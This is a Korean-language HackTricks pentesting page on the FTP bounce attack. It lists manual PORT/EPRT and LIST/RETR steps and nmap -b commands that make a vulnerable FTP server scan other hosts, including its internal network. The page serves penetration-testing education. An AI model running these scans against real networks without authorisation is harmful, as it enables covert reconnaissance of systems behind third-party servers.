hacktricks/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

• 회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면 구독 요금제를 확인하세요!
• 공식 PEASS & HackTricks 스왜그를 구매하세요
• The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
• **💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
• HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

---

FTP Bounce - 스캐닝

수동

1. 취약한 FTP에 연결합니다.
2. _<IP:Port>_를 스캔하도록 PORT 또는 EPRT(둘 중 하나만 사용)를 사용합니다:

PORT 172,32,80,80,0,8080
EPRT |2|172.32.80.80|8080| 3. **LIST**를 사용합니다(이는 현재 FTP 폴더에 있는 파일 목록을 연결된 _<IP:Port>_로 보냅니다) 그리고 가능한 응답을 확인합니다: 150 File status okay (이는 포트가 열려있음을 의미) 또는 425 No connection established (이는 포트가 닫혀있음을 의미) 4. LIST 대신 **RETR /file/in/ftp**를 사용하여 유사한 Open/Close 응답을 찾습니다.

PORT를 사용한 예시 (172.32.80.80의 포트 8080이 열려 있고 포트 7777이 닫혀 있음):

**EPRT**를 사용한 동일한 예시(이미지에서 인증 정보는 생략됨):

LIST 대신 EPRT를 사용하여 열린 포트(다른 환경) 예시:

nmap

nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 히어로까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

• 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 구독 요금제를 확인하세요!
• 공식 PEASS & HackTricks 스왜그를 구입하세요
• The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
• 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm에서 팔로우하세요.
• HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.